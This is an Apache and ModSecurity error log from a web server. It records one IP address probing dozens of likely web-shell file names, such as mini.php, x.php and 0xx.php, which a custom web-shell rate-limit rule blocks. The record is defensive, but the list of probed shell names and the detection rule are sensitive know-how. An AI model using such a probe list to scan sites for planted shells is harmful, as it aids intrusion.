[Mon Jan 19 21:53:34.514072 2026] [:error] [pid 45562:tid 45595] [client 132.196.60.193:18399] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aW43XjoUil_kwpvtDW7qWQAAAEE"]
[Mon Jan 19 21:53:34.963495 2026] [:error] [pid 36216:tid 36235] [client 132.196.60.193:18332] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aW43XsIpfKKs9fzB-yCyuAAAAVE"]
[Mon Jan 19 21:53:35.369965 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:18244] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aW43X5I4--OKA-Pqumy8iwAAAIo"]
[Mon Jan 19 21:53:35.778191 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:18407] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aW43X8IpfKKs9fzB-yCyvQAAAUs"]
[Mon Jan 19 21:53:36.166850 2026] [:error] [pid 45563:tid 45625] [client 132.196.60.193:18040] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aW43YJI4--OKA-Pqumy8jwAAAIQ"]
[Mon Jan 19 21:53:36.563646 2026] [:error] [pid 47089:tid 47106] [client 132.196.60.193:18265] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aW43YBlIzijVNfdIsZ4IvgAAAQ8"]
[Mon Jan 19 21:53:36.977152 2026] [:error] [pid 36216:tid 36236] [client 132.196.60.193:20377] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aW43YMIpfKKs9fzB-yCyxQAAAVI"]
[Mon Jan 19 21:53:37.399494 2026] [:error] [pid 45563:tid 45633] [client 132.196.60.193:18316] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fz.php"] [unique_id "aW43YZI4--OKA-Pqumy8kQAAAIw"]
[Mon Jan 19 21:53:37.853587 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18336] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aW43YcIpfKKs9fzB-yCyygAAAUo"]
[Mon Jan 19 21:53:38.430031 2026] [:error] [pid 36216:tid 36239] [client 132.196.60.193:18358] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aW43YsIpfKKs9fzB-yCyzAAAAVU"]
[Mon Jan 19 21:53:38.832710 2026] [:error] [pid 36216:tid 36233] [client 132.196.60.193:18004] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aW43YsIpfKKs9fzB-yCyzgAAAU8"]
[Mon Jan 19 21:53:39.393209 2026] [:error] [pid 36216:tid 36227] [client 132.196.60.193:18208] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aW43Y8IpfKKs9fzB-yCy0gAAAUk"]
[Mon Jan 19 21:53:39.838418 2026] [:error] [pid 45562:tid 45601] [client 132.196.60.193:18312] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aW43YzoUil_kwpvtDW7qXAAAAEc"]
[Mon Jan 19 21:53:40.263593 2026] [:error] [pid 36216:tid 36232] [client 132.196.60.193:18333] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aW43ZMIpfKKs9fzB-yCy1gAAAU4"]
[Mon Jan 19 21:53:40.869442 2026] [:error] [pid 45563:tid 45629] [client 132.196.60.193:18295] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aW43ZJI4--OKA-Pqumy8lQAAAIg"]
[Mon Jan 19 21:53:41.324626 2026] [proxy_fcgi:error] [pid 45657:tid 45667] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:41.516896 2026] [proxy_fcgi:error] [pid 45657:tid 45683] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:41.726680 2026] [proxy_fcgi:error] [pid 45657:tid 45669] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:41.919304 2026] [proxy_fcgi:error] [pid 45657:tid 45668] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:42.107872 2026] [proxy_fcgi:error] [pid 45657:tid 45664] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:42.297237 2026] [proxy_fcgi:error] [pid 45657:tid 45663] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:42.486874 2026] [proxy_fcgi:error] [pid 45657:tid 45678] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:42.698986 2026] [proxy_fcgi:error] [pid 45657:tid 45674] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:42.905135 2026] [proxy_fcgi:error] [pid 45657:tid 45672] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:43.099405 2026] [proxy_fcgi:error] [pid 45657:tid 45673] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:43.288754 2026] [proxy_fcgi:error] [pid 45657:tid 45671] [client 132.196.60.193:18422] AH01071: Got error 'Primary script unknown'
[Mon Jan 19 21:53:43.475278 2026] [:error] [pid 45657:tid 45662] [client 132.196.60.193:18422] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW43Zw4XFYp2OcwCx-Cb7gAAAMM"]
[Mon Jan 19 21:53:43.878926 2026] [:error] [pid 36216:tid 36239] [client 132.196.60.193:18328] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW43Z8IpfKKs9fzB-yCy3QAAAVU"]
[Mon Jan 19 21:53:44.363162 2026] [:error] [pid 36216:tid 36242] [client 132.196.60.193:18402] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW43aMIpfKKs9fzB-yCy3wAAAVg"]
[Mon Jan 19 21:53:44.830613 2026] [:error] [pid 47089:tid 47097] [client 132.196.60.193:18349] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/87.php"] [unique_id "aW43aBlIzijVNfdIsZ4IwAAAAQY"]
[Mon Jan 19 21:53:45.230874 2026] [:error] [pid 45561:tid 45588] [client 132.196.60.193:18045] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aW43aa4ONSZn4nkTayJymwAAABY"]
[Mon Jan 19 21:53:45.660922 2026] [:error] [pid 47089:tid 47101] [client 132.196.60.193:18430] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aW43aRlIzijVNfdIsZ4IxAAAAQo"]
[Mon Jan 19 21:53:46.380899 2026] [:error] [pid 36216:tid 36225] [client 132.196.60.193:18413] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aW43asIpfKKs9fzB-yCy4gAAAUc"]
[Mon Jan 19 21:53:46.781458 2026] [:error] [pid 45657:tid 45677] [client 132.196.60.193:18327] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aW43ag4XFYp2OcwCx-Cb8gAAANI"]
[Mon Jan 19 21:53:47.207347 2026] [:error] [pid 36216:tid 36220] [client 132.196.60.193:18362] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redi.php"] [unique_id "aW43a8IpfKKs9fzB-yCy4wAAAUI"]
[Mon Jan 19 21:53:47.645284 2026] [:error] [pid 45563:tid 45643] [client 132.196.60.193:20364] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redi.php"] [unique_id "aW43a5I4--OKA-Pqumy8mwAAAJY"]
[Mon Jan 19 21:53:48.044366 2026] [:error] [pid 45657:tid 45660] [client 132.196.60.193:18344] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redi.php"] [unique_id "aW43bA4XFYp2OcwCx-Cb9AAAAME"]
[Mon Jan 19 21:53:48.476203 2026] [:error] [pid 45657:tid 45664] [client 132.196.60.193:18360] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/redi.php"] [unique_id "aW43bA4XFYp2OcwCx-Cb9gAAAMU"]
[Mon Jan 19 21:53:48.879169 2026] [:error] [pid 45562:tid 45614] [client 132.196.60.193:18339] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW43bDoUil_kwpvtDW7qYQAAAFQ"]
[Mon Jan 19 21:53:49.371172 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18285] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW43bcIpfKKs9fzB-yCy5gAAAUo"]
[Mon Jan 19 21:53:49.777497 2026] [:error] [pid 45562:tid 45600] [client 132.196.60.193:18416] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW43bToUil_kwpvtDW7qYwAAAEY"]
[Mon Jan 19 21:53:50.163302 2026] [:error] [pid 45561:tid 45590] [client 132.196.60.193:20392] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aW43bq4ONSZn4nkTayJyoAAAABg"]
[Mon Jan 19 21:53:50.556148 2026] [:error] [pid 45563:tid 45640] [client 132.196.60.193:18269] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aW43bpI4--OKA-Pqumy8ogAAAJM"]
[Mon Jan 19 21:53:50.966165 2026] [:error] [pid 45561:tid 45579] [client 132.196.60.193:18340] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aW43bq4ONSZn4nkTayJyogAAAA0"]
[Mon Jan 19 21:53:51.706296 2026] [:error] [pid 45563:tid 45621] [client 132.196.60.193:18343] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aW43b5I4--OKA-Pqumy8owAAAIA"]
[Mon Jan 19 21:53:52.172130 2026] [:error] [pid 45563:tid 45633] [client 132.196.60.193:18310] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aW43cJI4--OKA-Pqumy8pQAAAIw"]
[Mon Jan 19 21:53:52.719347 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:18329] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW43cMIpfKKs9fzB-yCy6wAAAUs"]
[Mon Jan 19 21:53:53.464166 2026] [:error] [pid 45563:tid 45634] [client 132.196.60.193:18182] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW43cZI4--OKA-Pqumy8qQAAAI0"]
[Mon Jan 19 21:53:54.009282 2026] [:error] [pid 36216:tid 36226] [client 132.196.60.193:18243] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW43csIpfKKs9fzB-yCy7QAAAUg"]
[Mon Jan 19 21:53:54.500663 2026] [:error] [pid 36216:tid 36223] [client 132.196.60.193:18357] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW43csIpfKKs9fzB-yCy8AAAAUU"]
[Mon Jan 19 21:53:54.984689 2026] [:error] [pid 36216:tid 36234] [client 132.196.60.193:18248] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aW43csIpfKKs9fzB-yCy8QAAAVA"]
[Mon Jan 19 21:53:55.393124 2026] [:error] [pid 47089:tid 47093] [client 132.196.60.193:18374] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aW43cxlIzijVNfdIsZ4IxwAAAQI"]
[Mon Jan 19 21:53:55.903112 2026] [:error] [pid 45657:tid 45671] [client 132.196.60.193:18240] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aW43cw4XFYp2OcwCx-Cb-AAAAMw"]
[Mon Jan 19 21:53:56.396496 2026] [:error] [pid 45563:tid 45629] [client 132.196.60.193:18417] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aW43dJI4--OKA-Pqumy8sAAAAIg"]
[Mon Jan 19 21:53:56.832456 2026] [:error] [pid 36216:tid 36240] [client 132.196.60.193:18318] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0xx.php"] [unique_id "aW43dMIpfKKs9fzB-yCy8wAAAVY"]
[Mon Jan 19 21:53:57.417307 2026] [:error] [pid 45562:tid 45613] [client 132.196.60.193:18317] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0xx.php"] [unique_id "aW43dToUil_kwpvtDW7qawAAAFM"]
[Mon Jan 19 21:53:57.815563 2026] [:error] [pid 47089:tid 47106] [client 132.196.60.193:18000] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0xx.php"] [unique_id "aW43dRlIzijVNfdIsZ4IywAAAQ8"]
[Mon Jan 19 21:53:58.282908 2026] [:error] [pid 45563:tid 45635] [client 132.196.60.193:18193] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0xx.php"] [unique_id "aW43dpI4--OKA-Pqumy8sgAAAI4"]
[Mon Jan 19 21:53:58.756947 2026] [:error] [pid 45563:tid 45630] [client 132.196.60.193:18258] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/o.php"] [unique_id "aW43dpI4--OKA-Pqumy8tAAAAIk"]
[Mon Jan 19 21:53:59.206932 2026] [:error] [pid 47089:tid 47111] [client 132.196.60.193:18176] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/o.php"] [unique_id "aW43dxlIzijVNfdIsZ4IzAAAARQ"]
[Mon Jan 19 21:53:59.849765 2026] [:error] [pid 45562:tid 45614] [client 132.196.60.193:18355] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/o.php"] [unique_id "aW43dzoUil_kwpvtDW7qbwAAAFQ"]
[Mon Jan 19 21:54:00.284929 2026] [:error] [pid 47089:tid 47110] [client 132.196.60.193:18335] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/o.php"] [unique_id "aW43eBlIzijVNfdIsZ4IzgAAARM"]
[Mon Jan 19 21:54:00.748362 2026] [:error] [pid 47089:tid 47113] [client 132.196.60.193:18246] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW43eBlIzijVNfdIsZ4I0QAAARY"]
[Mon Jan 19 21:54:01.269342 2026] [:error] [pid 47089:tid 47097] [client 132.196.60.193:18294] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW43eRlIzijVNfdIsZ4I1AAAAQY"]
